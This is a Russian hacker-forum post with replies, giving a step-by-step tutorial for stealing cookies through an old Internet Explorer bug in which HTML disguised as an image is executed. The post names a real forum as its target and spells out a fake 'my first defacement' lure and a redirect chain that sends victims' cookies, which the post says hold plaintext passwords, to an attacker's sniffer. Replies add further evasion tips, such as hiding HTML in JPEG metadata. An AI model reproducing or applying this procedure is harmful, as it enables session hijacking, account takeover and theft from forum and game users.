![]() |
Баг в ИЕ (отображение html в изображениях). Как юзать.
Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени.
О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним: --------------------------------------------- Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?) -- Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS. Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS. А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность: получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия). Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много. -- Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc... Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже. --------------------------------------------- steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум. Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера: ... Код:
<script language="JavaScript">Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось... :) Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде... -- Начинаем готовиться: 1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера). Я зарегистрировал http://www.protivhackerov.narod.ru 2.Открываем Блокнот, и пишем там следующий html-код: ... Код:
<body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')">После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код) 3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником. После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки. 4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример): ... Код:
<html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html>Сохраняем как index.htm 5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это: ... Код:
<html><head></head><body>Сохраняем как index.html ... 6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_СА ТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html -- Справка для тех у кого нет Интернета: Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном. Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве. ... На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу. ... 7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?" -- Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что: Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта). Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс... -- Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай... --------------------------------------------- Справка для тех у кого нет Интернета (типа переменные): http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву bad_avatar.gif - наше псевдоизображение содержащее html-код НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГР ЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя) http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки index.htm - непосредственно страница с липовым Дефейсом index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm steep-by-steep - просто название. шаг-за-шагом (по-шагово) -- Справка для тех у кого нет Интернета: Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету? ;) --------------------------------------------- С Уважением, censored! [antichat.ru] --------------------------------------------- p.s. сайт xakep.ru был выбран случайно (код JS вверху) =) p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась. + на настоящий момент загрузка Аватарок что-то вообще не работает. p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!) p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь. :) |
Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.
|
2Tem там же написано блин=)
2cencored! спасибо, отлиная статья! |
Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.
|
Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png ,rar,txt если с ними не ассоциированны невиндовые проги...
Например адрес типа http://server.com/foto_from_party.rar ничего подозрительного не вызывает... |
Пеши исчо:)
Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет)) Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул))))))))) |
Цитата:
сорри за оффтоп |
Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо.
Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=) |
Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными )) |
Цитата:
В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым. Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно. А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо. Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика. Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере. Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой ))) (и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка)) |
| Время: 13:10 |